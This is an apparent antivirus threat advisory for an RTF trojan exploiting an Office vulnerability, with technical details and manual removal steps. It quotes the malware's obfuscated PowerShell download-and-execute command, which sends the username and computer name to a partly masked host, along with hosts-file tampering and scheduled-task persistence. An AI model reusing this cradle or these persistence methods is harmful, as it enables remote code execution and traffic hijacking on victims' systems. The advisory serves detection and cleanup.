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Trojan.W97M.CVE20170199.PFSK

April 11, 2020
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of certain vulnerabilities.

  TECHNICAL DETAILS

File Size:

42,424 bytes

File Type:

RTF

Memory Resident:

Yes

Initial Samples Received Date:

10 Apr 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('http://t.aw{BLOCKED}.com/mail.jsp?dde*{username}*{computername}')
  • attrib -R %System%\drivers\etc\hosts

Other Details

This Trojan does the following:

  • It connects to the following URLs to download and execute a malicious code in memory:
    • http://t.aw{BLOCKED}.com/mail.jsp?dde*{username}*{computername}
    • http://t.tr{BLOCKED}.com/x.js
    • http://t.aw{BLOCKED}.com/x.js
    • http://t.am{BLOCKED}.com/x.js
    • http://{random characters}.cn/w.js
    • http://{random characters}.jp/w.js
    • http://{random characters}.kr/w.js
  • It deletes the following scheduled tasks:
    • Rtsa2
    • Rtsa1
    • Rtsa
  • It overwrites the Windows HOSTS file to redirect the following URLs to its C&C servers:
    • {random characters}.cn
    • {random characters}.jp
    • {random characters}.kr

It takes advantage of the following vulnerabilities:

It adds the following scheduled tasks:

  • Task Name:
    • MicroSoft\Windows\{random characters} → if run w/ administrative privileges
    • {random characters}\{random characters}
    • \{random characters}
    Schedule: Every 60 minutes
    Task Action: powershell PS_CMD
  • Task Name: bluetea
    Schedule: Every 120 minutes
    Task Action: bluetea

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.796.07

FIRST VSAPI PATTERN DATE:

10 Apr 2020

VSAPI OPR PATTERN File:

15.797.00

VSAPI OPR PATTERN Date:

10 Apr 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • MicroSoft\Windows\{random characters} - powershell PS_CMD
  • {random characters}\{random characters} - powershell PS_CMD
  • \{random characters} - powershell PS_CMD
  • bluetea - bluetea

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.CVE20170199.PFSK. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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